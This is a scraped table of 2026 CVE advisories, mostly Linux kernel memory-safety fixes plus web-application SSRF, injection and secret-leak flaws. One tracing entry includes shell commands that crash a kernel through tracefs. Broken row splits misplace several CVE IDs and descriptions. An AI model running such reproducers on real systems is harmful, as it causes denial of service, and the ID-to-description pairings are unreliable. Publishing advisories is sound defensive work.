CVE-2026-89762	creds with an updated version that uses a new label. The first problem with this is that it would directly lead to UAF of `struct cred` if anything in the kernel takes a pointer to the current creds and accesses these past a security hook invocation that replaces creds, like so: ``` const struct cred *cred = current_cred(); alloc_file_pseudo(...); uid_t uid = cred->euid; ``` I don't know if anything in the kernel actually does this, but I think it is very surprising that this pattern could lead to UAF. The second problem is that things go wrong when aa_replace_current_label() runs with overridden credentials. aa_replace_current_label() bails out if `current_cred() != current_real_cred()` (mirroring the check in proc_pid_attr_write()), but this check can't actually reliably detect overridden credentials because the overridden creds can be the same as the objective creds. So in approximately the following scenario, things go wrong: 1. task begins with <creds A> (as both objective and subjective creds), with refcount=2 2. task grabs an extra reference on <creds A> for overriding 3. task calls override_creds(<creds A>), which returns a pointer to the old subjective creds (<creds A>) 4. task enters AppArmor LSM hook 5. AppArmor checks that objective/subjective creds are equal 6. AppArmor replaces both cred pointers with <creds B> and drops 2 refs on <creds A> 7. task leaves AppArmor LSM hook 8. task calls revert_creds(<creds A>) 9. now task->cred is <creds A> while task->real_cred is <creds B>, but the task_struct logically holds two references to <creds B> 10. another task drops the extra reference on <creds A> that was used for overriding, refcount drops to 0 11. now task->real_cred points to freed creds At this point, any access to current_cred() will be UAF. I have a test case where I run aa-disable on a profile while a process using that profile is blocked on splice() from a FUSE passthrough file into a full pipe; after the profile update, the pipe becomes empty, splice() resumes, the credentials go out of sync, and a subsequent getuid() syscall results in a KASAN UAF splat. To fix this, instead of directly replacing creds, do it via task_work that will run at the end of the current syscall. (The point in time at which the cred replacement happens should have no correctness impact; it is just a performance optimization to avoid unnecessarily touching the refcount of the new label.) Note that AppArmor still performs direct cred replacements in the sb_pivotroot LSM hook after this change, and that direct cred replacements can still happen in VFS ->write() callbacks via proc_pid_attr_write(). There are two options for what to do with aa_dup_task_ctx(): Either explicitly reset new->label_replacement_pending after the entire aa_task_ctx has been copied, or switch to manually copying members over. I am switching to manually copying members over because that should make bugs more obvious.	7.8	More Details
CVE-2026-89763	In the Linux kernel, the following vulnerability has been resolved: KEYS: trusted: Fix TPM teardown ordering trusted_tpm_exit() drops the TPM chip reference and frees the digest array before unregistering the trusted key type. key_type_lookup() holds key_types_sem for reading until the key operation finishes, while unregister_key_type() takes it for writing. It therefore provides the synchronization point that must precede backend teardown. The current order permits this interleaving: CPU 0 CPU 1 trusted_tpm_exit() key_type_lookup("trusted") put_device(&chip->dev) trusted_tpm_seal() kfree(digests) pcrlock() unregister_key_type() tpm_pcr_extend(..., digests) CPU 1 can consequently dereference the freed digest array. The chip can also be released before callbacks stop using it. KASAN reported: BUG: KASAN: slab-use-after-free in tpm_pcr_extend+0x1f0/0x200 Read of size 2 at addr ffff88810872d000 by task poc/89 Call Trace: tpm_pcr_extend+0x1f0/0x200 pcrlock+0x42/0x70 [trusted] trusted_tpm_seal+0x1b6/0x570 [trusted] trusted_instantiate+0x293/0x340 [trusted] __key_instantiate_and_link+0xb2/0x2b0 __key_create_or_update+0x61e/0xb50 __do_sys_add_key+0x1b8/0x310 Allocated by task 88: __kmalloc_noprof+0x1a7/0x490 do_one_initcall+0xa1/0x390 do_init_module+0x2df/0x840 Freed by task 90: kfree+0x131/0x3c0 trusted_tpm_exit+0x59/0xa0 [trusted] __do_sys_delete_module+0x346/0x510 Move unregister_key_type() before releasing either resource. This stops new lookups and waits for in-flight key operations to finish before the backend state is destroyed.	7.8	More Details
CVE-2026-8301	Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus Boot Repair allows OS Command Injection. This issue affects Pardus Boot Repair: before 1.0.8.	7.8	More Details
CVE-2026-80944	In the Linux kernel, the following vulnerability has been resolved: wifi: mwifiex: Detach sync cmd buffer on interrupted wait mwifiex synchronous commands keep the caller-provided data buffer in cmd_node->data_buf. Several callers pass stack-allocated objects there. If wait_event_interruptible_timeout() is interrupted, the caller can return and release that stack object while the firmware command is still the current command. A late firmware response then reaches the normal response handler, which can copy data through cmd_node->data_buf into the stale stack address. This fixes a stack corruption observed during repeated association and disassociation cycles. The panic trace showed the command wait being interrupted immediately before a bad pointer dereference: cmd_wait_q terminated: -512 Unable to handle kernel paging request at virtual address 002c583837384662 Kernel panic - not syncing: stack-protector: Kernel stack is corrupted ... Tainted: [M]=MACHINE_CHECK The fault address decodes as little-endian ASCII: 0x002c583837384662 -> "bF878X,\0" which is a fragment of the VERSION_EXT firmware string exposed as debugfs "verext": w8997o-V4, RF878X, FP92, 16.92.21.p153.7 The same runs also showed corrupted control data containing: 0x2400372e333531 -> "153.7\0$" which is the tail of the same VERSION_EXT string. This points at a late VERSION_EXT response writing through a stale stack-backed data_buf after the interrupted wait returned. After cancelling pending commands on an interrupted or timed-out wait, detach the caller-owned data buffer from the still-current command. This preserves the existing command cancellation behaviour while preventing a late response from writing through a pointer whose lifetime ended with the waiting caller. Tested on an i.MX8MP board using an 88W8997.	7.8	More Details
	In the Linux kernel, the following vulnerability has been resolved: smack: fix cred UAF in smack_file_send_sigiotask() When inspecting the credentials of another task, objective credentials (-		

CVE-2026-80928	>real_cred, accessed with __task_cred()) must always be used. Accessing ->cred on a non-current task is forbidden unless that task is being created or destroyed; a task is allowed to change its own ->cred pointer with no synchronization, and changing ->cred should only affect the current syscall. smack_file_send_sigiotask() was accessing both sets of credentials: First tsk->cred, then __task_cred(tsk). Fix it, always access the objective credentials here. I have tested that this bug can lead to a KASAN-reported UAF of struct cred in smack_file_send_sigiotask(), and that this fix prevents the race.	7.8	More Details
CVE-2026-89764	In the Linux kernel, the following vulnerability has been resolved: rust: devres: fix race between concurrent revokers There is a potential race condition when two paths try to revoke a Devres concurrently. The driver core's devres_release_all() calls Revocable::revoke() via the release callback, while Devres::drop() calls revoke_nosync() on another CPU. The revoker that does not claim the is_available swap returns immediately, but the revoker that did may still be executing drop_in_place() on the inner data. This can cause a use-after-free when the other revoker's caller proceeds to drop adjacent resources that drop_in_place() still references (e.g., Devres<DmaMappedSgt> racing with SGTable freeing the backing sg_table and pages). Fix this by adding a Completion. The release callback signals the Completion after revoke() finishes, and Devres::drop() waits for it when it loses the is_available swap. This ensures the wrapped object is fully torn down before Devres::drop() returns.	7.8	More Details
CVE-2026-80991	In the Linux kernel, the following vulnerability has been resolved: net: ravb: serialize PTP clock teardown ravb_ptp_interrupt() can race with ravb_ptp_stop() and pass the clock to ptp_clock_event() while ptp_clock_unregister() is freeing it. This can lead to a use-after-free. Use READ_ONCE() and WRITE_ONCE() for lockless access to the clock pointer. Atomically detach it with xchg() before disabling PTP interrupts, then synchronize all IRQs which can invoke ravb_ptp_interrupt() before unregistering the detached clock. A handler which read the old pointer completes before the clock is unregistered, while later handlers read NULL and skip the event.	7.8	More Details
CVE-2026-89746	In the Linux kernel, the following vulnerability has been resolved: tracing: Fix use-after-free with same-name named triggers When two hist triggers on different events are registered with the same name=, the second one reuses the first as named_data. Both are added to tr->hist_vars by save_hist_vars() during event_hist_trigger_parse(), because save_hist_vars() is called before event_trigger_register() while the named reuse is only detected later, in hist_register_trigger(). In the named-data branch hist_register_trigger() then frees the second histogram's hist_data via destroy_hist_data(), but never removes its tr->hist_vars list entry, leaving a dangling pointer and leaking the trace_array reference it holds. A later hist trigger that references a variable makes find_var_file() walk tr->hist_vars and dereference the freed hist_data. The bug is reproducible from userspace by writing three hist triggers to tracefs: cd /sys/kernel/tracing echo 'hist:keys=common_pid:x=common_pid:name=mh' > events/sched/sched_switch/trigger echo 'hist:keys=common_pid:x=common_pid:name=mh' > events/sched/sched_process_fork/trigger echo 'hist:keys=common_pid:vals=$x' > events/sched/sched_process_exit/trigger The third write panics the kernel: BUG: KASAN: slab-use-after-free in find_var_file.part.0+0x272/0x290 Read of size 8 at addr ffff888001f8a0e0 by task sh/1 CPU: 1 UID: 0 PID: 1 Comm: sh Tainted: G D N Call Trace: find_var_file.part.0 find_event_var parse_atom parse_expr __create_val_field event_hist_trigger_parse trigger_process_regex event_trigger_write vfs_write ksys_write do_syscall_64 entry_SYSCALL_64_after_hwframe Allocated by task 1: event_hist_trigger_parse Freed by task 1: hist_register_trigger+0x618/0xa30 event_hist_trigger_parse The buggy address belongs to freed 2048-byte region Oops: general protection fault ... RIP: find_var_file.part.0 Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000000b Fix by removing the hist_data from tr->hist_vars and releasing the trace_array reference in the named-data branch of hist_register_trigger() before freeing the hist_data.	7.8	More Details
CVE-2026-80992	In the Linux kernel, the following vulnerability has been resolved: net: ravb: avoid dereferencing an invalid PTP clock The PTP clock is unavailable before the first open, so querying its index can dereference a NULL pointer. Registration failures can also leave an error pointer in priv->ptp.clock. Cache the PHC index separately and report -1 while no clock is registered. Normalize registration errors to NULL and preserve the static timestamping capabilities.	7.8	More Details
CVE-2026-89066	Improper neutralization of special elements used in an OS command in the task synthesis component in projen before 0.103.0 might allow context-dependent attackers to execute arbitrary commands on a developer workstation or continuous integration runner via shell metacharacters in project configuration values and repository file names that are interpolated into generated task definitions. To remediate this issue, users should upgrade to version 0.103.0 and then re-synthesize the project so that .projen/tasks.json is regenerated with the corrected task definitions. Upgrading alone is not sufficient because the generated task definition file is committed to the repository.	7.8	More Details
CVE-2026-89758	In the Linux kernel, the following vulnerability has been resolved: mm/mempolicy: skip non-present PMDs when queueing folios Patch series "mm: handle device-private PMDs in walk callbacks", v3. Since commit 368076f52ebe ("mm/huge_memory: add device-private THP support to PMD operations") a PMD may hold a device-private swap entry whenever an HMM-based GPU driver migrates an anonymous THP folio to device memory via migrate_vma_pages(). pmd_trans_huge_lock() succeeds for such PMDs (pmd_is_huge() returns true for any non-present, non-none huge PMD), so several MM walk callbacks that used to assume present THP or migration entry are now reachable with a device-private PMD. The results range from a VM_BUG_ON() firing on debug kernels, to an oops on a bogus vmemmap dereference, to silently isolating an unrelated live folio from LRU in the aliasing case. This patch (of 3): queue_folios_pmd() is called under	7.8	More Details

	pmd_trans_huge_lock(), whose pmd_is_huge() check returns true for any non-present, non-none PMD softleaf. Passing such a PMD to pmd_folio() treats the softleaf encoding as a hardware PFN and can return a bogus folio pointer. Mirror queue_folios_pte_range(): handle non-present entries before looking up a folio. Keep migration entries counted as failures, but skip other non-present PMDs such as device-private entries. Potential trigger: an HMM-based GPU driver migrates an anonymous THP folio to device memory via migrate_vma_pages(), leaving a device-private PMD. Userspace then calls mbind(), migrate_pages() or set_mempolicy_home_node() on that range.		
CVE-2026-80994	In the Linux kernel, the following vulnerability has been resolved: net: openvswitch: fix flow mask use-after-free on flow deletion The commit in the Fixes tag below made so flow->mask free is scheduled via RCU right after it is removed from the flow table. The pointer stays in the flow structure and it can be accessible while in the same RCU critical section. This is done to avoid requiring ovs_mutex for the ovs_flow_free(). However, while removing the flow during processing of CMD_DEL, we do not take RCU read lock before the removal, and ovs_flow_cmd_fill_info() uses the flow->mask pointer afterwards. The RCU read lock is taken, but it's already late at that point. The comment on that line acknowledges that the lock is cosmetic and doesn't serve a real purpose. This leads to use-after-free if the RCU grace period passes between removal and the filling. It is a short race window, but it is there and can lead to a real crash in case memory allocation for the info takes a bit longer: BUG: KASAN: slab-use-after-free in __ovs_nla_put_key net/openvswitch/flow_netlink.c:1996 BUG: KASAN: slab-use-after-free in ovs_nla_put_key+0x2463/0x2e30 net/openvswitch/flow_netlink.c:2250 Read of size 4 at addr ffff88801ee89970 by task ovs_flow_del_ec/9487 Call Trace: <TASK> __ovs_nla_put_key net/openvswitch/flow_netlink.c:1996 ovs_nla_put_key+0x2463/0x2e30 net/openvswitch/flow_netlink.c:2250 ovs_flow_cmd_fill_info+0x420/0x9c0 net/openvswitch/datapath.c:930 ovs_flow_cmd_del+0x53a/0x970 net/openvswitch/datapath.c:1467 ... netlink_rcv_skb+0x156/0x420 net/netlink/af_netlink.c:2556 </TASK> Allocated by task 9487: mask_alloc net/openvswitch/flow_table.c:967 flow_mask_insert net/openvswitch/flow_table.c:1012 ovs_flow_tbl_insert+0xea2/0x1a90 net/openvswitch/flow_table.c:1084 ovs_flow_cmd_new+0x7e3/0xd90 net/openvswitch/datapath.c:1086 ... netlink_rcv_skb+0x156/0x420 net/netlink/af_netlink.c:2556 Freed by task 9485: rcu_free_sheaf+0x1e/0x100 mm/slub.c:5978 rcu_do_batch kernel/rcu/tree.c:2645 rcu_core+0x59c/0x10c0 kernel/rcu/tree.c:2897 handle_softirqs+0x1e4/0x9a0 kernel/softirq.c:622 ... instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1062 ovs_flow_tbl_remove() must be called after the ovs_flow_cmd_fill_info() to avoid this race. This also helps with cleaning up the forced cast and the cosmetic RCU read lock. Before the commit in the Fixes tag the order did not matter as long as the flow object itself was not freed. A wider RCU critical section could be another option, but we have a GFP_KERNEL allocation in the way. Reported by Trend Micro's Zero Day Initiative as ZDI-CAN-32042.	7.8	More Details
CVE-2026-80995	In the Linux kernel, the following vulnerability has been resolved: net: mctp: hold a reference to the route device in mctp_route_lookup() mctp_route_lookup() uses rt->dev without holding a reference on it. mctp_route_lookup_single() returns the route under RCU only, so the route's device can be torn down concurrently: mctp_dev_put() drops the last reference and synchronously kfree()s mdev->addrs. mctp_dev_saddr() then reads rt->dev->addrs[0], giving a use-after-free reachable by an unprivileged local AF_MCTP user on the receive/forwarding path (no CAP_NET_RAW required): BUG: KASAN: slab-use-after-free in mctp_route_lookup Read of size 1 at addr ... by task mctp_uaf/... mctp_route_lookup mctp_pkttype_receive Freed by task ...: kfree mctp_dev_put mctp_dev_notify In the same window mctp_dst_from_route() -> mctp_dev_hold() also increments a refcount that has already reached zero ("refcount_t: addition on 0 ... mctp_dev_hold"). This reintroduces the use-after-free class of CVE-2023-3439: the source address lookup was moved ahead of the point where the destination takes its device reference. Take a reference with refcount_inc_not_zero() before touching rt->dev, skip a device that is already dead, and drop the reference once the destination has taken its own.	7.8	More Details
CVE-2026-80929	In the Linux kernel, the following vulnerability has been resolved: sysctl: move the "cad_pid" entry from pid_table[] to kern_reboot_table[] cad_pid is global, and kill_cad_pid() is only used in the root namespace. However, due to pid_table_root_permissions(), a non-root user can unshare pid/user namespaces and modify it from the child namespace. This makes no sense and is simply wrong. Move it to kern_reboot_table[] where it logically belongs; this ensures that only GLOBAL_ROOT_UID can read/modify this sysctl. Note that this patch doesn't preserve "#ifdef CONFIG_PROC_SYSCTL" around the "cad_pid"; CONFIG_PROC_SYSCTL selects CONFIG_SYSCTL, so it is always set when kern_reboot_table[] is compiled.	7.8	More Details
CVE-2026-89760	In the Linux kernel, the following vulnerability has been resolved: mm, swap: don't free a hibernation slot that is in the swap cache A slot with a folio in the swap cache is freed when the folio leaves the cache, not when its count drops. swap_put_entries_cluster() follows that rule. swap_free_hibernation_slot() does not, it calls __swap_cluster_free_entries() whether or not a folio sits on the slot. Cluster readahead can put one there. It walks a raw page_cluster sized window of offsets around the faulting entry, and a hibernation slot passes __swap_cache_add_check() because it is not a folio and its count is not zero. Freeing the slot then clears the entry under that folio. The folio is now unreachable from the swap table, and the offset goes back to the allocator. The folio is still on the LRU though, so reclaim can pick it up later. It then takes the old offset out of folio->swap and overwrites the table entry there, which by then may belong to someone else. This bug can trigger silent memory corruption, process crashes, or data instability across completely unrelated userspace applications - typically occurring when uswsusp is preparing the hibernation image. I found this while working on giving hibernation slots their own marker in the swap table, which I had discussed with Kairui. (https://lore.kernel.org/linux-mm/abp7aDgYLrxF3Me8@KASONG-MC4/) As far as I know there are no reports, so there is no Reported-by/Closes to add. Check for a cached folio before freeing. The slot is then left in the	7.8	More Details

	ordinary state where only the swap cache holds it, and it is freed when the folio leaves the cache, either through the reclaim below or through normal reclaim later.		
CVE-2026-89747	In the Linux kernel, the following vulnerability has been resolved: tracing: Fix use-after-free in trace_pipe read on sub-buffer order change Writing to buffer_subbuf_size_kb calls ring_buffer_subbuf_order_set(), which frees every sub-buffer of the ring buffer, including the reader page, and replaces them with newly allocated ones. Readers of trace_pipe hold pointers into those pages. ring_buffer_peek() looks up an event under cpu_buffer->reader_lock but returns the event pointer after dropping the lock, and peek_next_entry() then calls ring_buffer_event_length() and ring_buffer_event_data() on it. If the sub-buffer order is changed in that window, the reader dereferences freed memory: BUG: KASAN: use-after-free in ring_buffer_peek+0x3e0/0x430 Read of size 1 at addr ffff88802a4cf010 by task syz-executor989/6002 Freed by: free_buffer_page kernel/trace/ring_buffer.c:398 [inline] ring_buffer_subbuf_order_set+0x1325/0x18e0 kernel/trace/ring_buffer.c:7444 buffer_subbuf_size_write+0x182/0x280 kernel/trace/trace.c:8221 Take trace_access_lock(RING_BUFFER_ALL_CPUS) around the order change. This is the lock trace_pipe readers already hold across their entire peek-and-print loop, so the swap can no longer race with a reader that is dereferencing a peeked event.	7.8	More Details
CVE-2026-31278	An issue in the /api/v2/setting/adserversetting endpoint of Suprema BioStar 2 before 2.9.12 and and BioStar X before 1.0.2 allows attackers to obtain Active Directory service account credentials in cleartext by supplying a crafted GET request.	7.7	More Details
CVE-2026-88022	Improper neutralization of special elements in data query logic in the MongoDB integration for Laravel can cause an array supplied to an explicit equality filter to be interpreted as a query condition rather than as a literal value. This affects the three-argument `where` method when the operator is `=` or `eq`, as well as the `find` and `delete` methods that use that code path. An attacker who can cause an affected application to supply an operator-shaped array to one of these APIs may obtain a document other than the intended target or delete documents beyond the intended target.	7.7	More Details
CVE-2026-87877	zstd-jni versions before 1.5.7-14 fail to validate closed state in setDict, setLongMax, setLevel and setRefMultipleDDicts methods of stream classes. Attackers can call these methods on closed streams to write through freed native pointers, corrupting unrelated objects or crashing the JVM.	7.7	More Details
CVE-2026-87825	zstd-jni before 1.5.7-14 contains a use-after-free vulnerability where streams and contexts hold a dictionary's shared lock only during the load call, allowing the dictionary to be closed while still referenced. Attackers can close a dictionary after associating it with a stream or context, causing subsequent read or write operations to access freed native memory, resulting in silent data corruption or JVM crashes.	7.7	More Details
CVE-2026-89720	In the Linux kernel, the following vulnerability has been resolved: ubifs: fix out-of-bounds read in signature length check ubifs_sb_verify_signature() bounds the on-disk ubifs_sig_node->len field before handing the signature payload to verify_pkcs7_signature(), but the check has the wrong sign: if (le32_to_cpu(signode->len) > snod->len + sizeof(struct ubifs_sig_node)) The signature bytes start sizeof(struct ubifs_sig_node) (UBIFS_SIG_NODE_SZ, 64 bytes) into the node, so the payload is at most snod->len - sizeof(struct ubifs_sig_node) bytes long. Adding the header size instead of subtracting it accepts a declared length up to 2 * UBIFS_SIG_NODE_SZ larger than the node actually holds -- past the end of c->sbuf, which is vmalloc(c->leb_size). verify_pkcs7_signature() -> pkcs7_parse_message() -> asn1_ber_decoder() is then handed that inflated length and reads beyond the allocation while walking the DER headers. The node length comes straight from the mounted image, so a crafted signed UBIFS image reaches this via ubifs_read_superblock() before the signature is cryptographically checked. snod->len is guaranteed to be >= UBIFS_SIG_NODE_SZ by the node scanner (c->ranges[UBIFS_SIG_NODE].min_len == UBIFS_SIG_NODE_SZ), so the corrected subtraction cannot underflow. Legitimately signed images are unaffected: a correct superblock never declares a signature longer than the node it is embedded in.	7.7	More Details
CVE-2026-89466	In the Linux kernel, the following vulnerability has been resolved: power: supply: qcom_battmgr: terminate the strings from firmware The qcom_battmgr_sc8280xp_strcpy() takes a Pascal-style string when the firmware sends one. Otherwise it copies all BATTMGR_STRING_LEN bytes and leaves the destination without a terminator. Those destinations are model_number, serial_number and oem_info, each BATTMGR_STRING_LEN and declared next to each other. They go out to user space as val->strval, which power_supply_format_property() prints with "%s", so a firmware string that fills the whole field makes that read run into the following members. Use strscpy() so the copy always terminates, the way the SM8350 path already does for the same field.	7.7	More Details
CVE-2026-87996	Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.6 until 0.11.1, SafePlaywrightURLLoader in backend/open_webui/retrieval/web/utils.py validated a user-controlled hostname in Python and then let the Playwright browser resolve it again in the sync and async request interceptors. An authenticated user controlling authoritative DNS could return a public address to validation and an internal address to the browser, exposing responses from internal services or cloud metadata through web search or URL ingestion. This issue is fixed in version 0.11.1.	7.7	More Details
	In the Linux kernel, the following vulnerability has been resolved: platform/x86/amd/pmc: Propagate SMU errors and validate S2D address amd_stb_s2d_init() discards the return value of several S2D SMU commands. When the SMU refuses a command (e.g. "SMU cmd failed. err: 0xff") the failure is only noticed indirectly - if at all - and reported as -EIO, masking the real error. More seriously, the S2D_PHYS_ADDR_LOW/HIGH return		

CVE-2026-81016	values are ignored, so on failure phys_addr_low/hi are left uninitialised and the assembled address is passed straight to devm_ioremap(). When the SMU leaves them at zero this maps physical address 0 and trips the ioremap-on-RAM warning: amd_pmc AMDI000B:00: SMU cmd failed. err: 0xff ioremap on RAM at 0x0000000000000000 - 0x00000000000fffff WARNING: CPU: 13 PID: 4592 at arch/x86/mm/ioremap.c:... Check the return value of each SMU command and propagate it, and reject a zero physical address before calling devm_ioremap().	7.7	More Details
CVE-2026-81210	IBM DataStage on Cloud Pak for Data 5.4.0.0 concatenates three caller-supplied strings into a String.format path on the shared /ds-storage RWX PVC and returns the file with no project ACL — pure IDOR plus traversal. Read is constrained to files named job.log/error.log, but DataStage job logs routinely carry connection strings, {dsnextenc} ciphertexts (decryptable via d2-f023), and customer-data row samples. This is the operator's tenant-to-tenant PVC-leakage threat verbatim; MEDIUM→HIGH via threat match.	7.7	More Details
CVE-2026-87993	The consul-template library is vulnerable to an information disclosure issue in its error handling path that may allow Vault secret values to appear in template error messages, log output, and downstream surfaces such as Nomad task events. This vulnerability (CVE-2026-87993) is fixed in consul-template 0.43.0.	7.7	More Details
CVE-2026-29811	CyberPanel before 2.4.4 attempts to detect an "alais" domain (i.e., a second domain that serves the same content as a primary domain; normally spelled "alias") via an ORM query filter rather than a Python "if" statement.	7.7	More Details
CVE-2026-88883	Renovate is an automated dependency update tool. In versions before 44.14.4 (and Mend Renovate CE/EE images before 15.4.0 and the mend-renovate-enterprise-edition Helm chart before 10.4.0), log sanitisation for TLS private keys used for Mutual TLS was incomplete. While the value of hostRules[].httpsPrivateKey was redacted in the field itself, the same private key value was not redacted if it also appeared elsewhere — for example in another configuration option or in a log message under a key other than httpsPrivateKey — causing the full private key to be written to Renovate's logs in cleartext. This affects deployments that configure Mutual TLS through hostRules[].httpsPrivateKey without passing the value through the documented `secrets` configuration. Anyone able to read the resulting logs can recover the private key. The issue is fixed in Renovate 44.14.4, which redacts any value supplied as hostRules[].httpsPrivateKey wherever it appears in the logs; as a workaround, supply the key via the `secrets` configuration.	7.7	More Details
CVE-2026-79637	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.	7.7	More Details
CVE-2026-19584	Velociraptor allows for the creation of notebook backups in its default enabled daily backup feature. When Velociraptor restores the backup, the notebook cell content is interpolated into a template with no ACL checks. This allows a malicious user with NOTEBOOK_EDITOR permission to plant a VQL query which will be evaluated at elevated permissions if the notebook's backup is subsequently restored.	7.7	More Details
CVE-2026-15913	In versions prior to 7.10.2 a path traversal vulnerability in the /attachRemoteFiles endpoint of Fortra's GoAnywhere MFT allows Web Users with both Secure Folders and Secure Mail permissions to escape their sandboxed home directory, achieving arbitrary file read.	7.7	More Details
CVE-2026-89743	In the Linux kernel, the following vulnerability has been resolved: misc: nsm: bound the device-reported response length nsm_sendrecv_msg_locked() stores the virtqueue used-ring length reported by the NSM device into msg->resp.len without bounding it to the response buffer. A malicious or buggy backend can report a length larger than the response buffer; parse_resp_raw() then copies that many bytes out of the fixed buffer to user space, disclosing adjacent kernel heap (an out-of-bounds read). The request path already floors its length in fill_req_raw(); the response path lacks the symmetric check. Clamp the stored length to the size of the response buffer. Well-behaved devices report no more than the posted buffer size, so conforming traffic is unaffected.	7.7	More Details
CVE-2026-87084	Tanium addressed a server-side request forgery vulnerability in Enforce.	7.7	More Details
CVE-2026-86750	Snipe-IT versions <= 8.6.3 (fixed in 8.7.0) do not validate company assignment authorization before persisting user records via the REST API. In Api\UsersController::store() and ::update(), the user record is filled from the request and saved before the requested company_id / company_ids[] values are filtered against the actor's permitted companies (Company::getIdsForCurrentUser()). On installs using Full Multiple Companies Support (FMCS), a non-superuser holding users.create (or users.edit on a target user) can submit company identifiers for companies outside their scope — including a mix of permitted and foreign ids — causing the account row to be committed to the database before authorization is checked. Where null_company_is_floater=1 is set, the post-hoc filter leaves an empty company pivot and the account is persisted as a "floater" with cross-company visibility, allowing creation or relocation of user accounts across tenant boundaries.	7.7	More Details
CVE-2026-	Open Notebook before 1.11.0 fails to validate the URL parameter in POST /api/sources endpoint, allowing authenticated users to perform server-side requests to internal services. Attackers can supply arbitrary URLs	7.7	More

90769	to read cloud metadata, internal network services, and localhost-bound services through the application server's direct HTTP requests.		Details
CVE-2026-89060	A cross-namespace authorization flaw in multicluster-observability-addon allows a user with permission to modify a managed cluster's ManagedClusterAddOn configuration to reference ClusterLogForwarder or OpenTelemetryCollector resources outside the permitted namespace. If those resources reference Secrets, the add-on may copy the referenced Secrets to the attacker-controlled managed cluster.	7.7	More Details
CVE-2026-80943	In the Linux kernel, the following vulnerability has been resolved: wifi: rtlwifi: rtl8192du: check QoS TID before indexing tids rtl92du_tx_fill_desc() uses ieee80211_get_tid() to read the QoS TID from the 802.11 header and then uses it as an index into sta_entry->tids[]. ieee80211_get_tid() returns the low 4-bit QoS TID value, so the result can be in the range 0..15. rtlwifi only allocates MAX_TID_COUNT entries for sta_entry->tids[], and MAX_TID_COUNT is 9. A QoS TID greater than 8 therefore indexes past the aggregation state array. Keep the default RTL_AGG_STOP state for out-of-range TIDs, matching rtl92cu_tx_fill_desc(). This issue was detected by our static analysis tool and confirmed by manual audit. UBSAN validation for the same bug pattern reports an array-index-out-of-bounds access with index 10 for type 'rtl_tid_data [9]'.	7.6	More Details
CVE-2026-42804	A stack-based buffer overflow vulnerability exists in the Bosch Sensortec BHI360 SensorAPI(C-Library) in versions up to and including commit d6b200416a. The vulnerability is located within the FIFO parsing and debug logging subsystem inside the function bhi360_parse_debug_message() in bhi360_parse.c (lines 1852-1875). The parser trusts the first payload byte of a debug frame as the message length (msg_length) and copies that many bytes into a fixed-size 17-byte stack buffer (debug_msg) via memcpy without performing any bounds checking. A locally or physically positioned attacker (e.g., via a malicious sensor, counterfeit hardware module, or a Man-in-the-Middle on the communication bus) can exploit this vulnerability by injecting a crafted debug frame with a length byte exceeding 16. This corrupts adjacent stack data, including the saved return address. Furthermore, because the overflowed buffer is subsequently passed to a printf-style logging sink, the attacker can supply format string specifiers (e.g., %n) to execute arbitrary code on the host microcontroller/SoC or cause a reliable system crash (Denial of Service).	7.6	More Details
CVE-2026-86771	Snipe-IT versions before 8.7.0 fail to HTML-escape the employee_num field in the acceptance PDF generator, allowing attackers with users.edit permission to inject img tags into TCPDF's writeHTML() function. Attackers can craft a malicious employee_num value containing an img tag with an arbitrary HTTP(S) URL to trigger server-side requests to internal services, cloud metadata endpoints, or external targets when a victim signs an asset acceptance.	7.6	More Details
CVE-2026-62112	Editor SQL Injection in Amelia <= 2.4.9 versions.	7.6	More Details
CVE-2026-62109	Editor SQL Injection in Sky Addons for Elementor <= 3.8.4 versions.	7.6	More Details
CVE-2026-82563	An attacker could impersonate the camera and place themselves in a man-in-the-middle or device-emulation position. This permits manipulation of device status responses, observation of application requests, and potential triggering of firmware-update behavior.	7.6	More Details
CVE-2026-90772	Amundsen frontend through 4.3.0 renders table, dashboard, and feature descriptions with dangerouslySetInnerHTML without HTML sanitization in ResourceListItem components. Attackers can inject malicious markup like img elements with onerror handlers into descriptions via the metadata service or Elasticsearch, executing JavaScript in every user's browser that views search results.	7.6	More Details
CVE-2026-87853	A flaw was found in SSSD's IdP authentication provider. The eval_access_token_buf() function compares the OIDC subject identifier using strncmp() with the authenticated user's identifier length, performing a prefix comparison instead of an exact match. An attacker whose IdP identifier is a strict prefix of a target user's identifier can authenticate as the target user.	7.5	More Details
CVE-2026-87011	Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.0 until 0.11.1, the unauthenticated POST /oauth/backchannel-logout handler in backend/open_webui/utils/oauth.py fetched the OIDC discovery document and signing keys before validating a submitted logout token. Each request repeated uncached network fetches, and the signing-key lookup blocked the async event loop, so requests carrying invalid tokens could stall the single-worker instance and amplify traffic to the identity provider when ENABLE_OAUTH_BACKCHANNEL_LOGOUT was enabled. This issue is fixed in version 0.11.1.	7.5	More Details
CVE-2026-79394	An insecure default configuration in the embedded Happytime RTSP server within the Sofia IPC daemon in Xiongmai IP Camera XM530 firmware HMT.CM2005-v220608.1837 and earlier ships with authentication disabled, allowing remote unauthenticated attackers to access live H.264 video and G.711 audio feeds in cleartext over unencrypted RTP/UDP.	7.5	More Details
	In the Linux kernel, the following vulnerability has been resolved: SUNRPC: fix gssx_dec_option_array error path bugs Four coupled defects in the gssx XDR option-array decoder make the error paths unsafe: a NULL deref in the caller, a refcount leak on the decoded group_info, and a latent use-after-free that the leak fix would otherwise expose. gssx_dec_option_array() sets oa->count = 1 before allocating oa->data. If that		

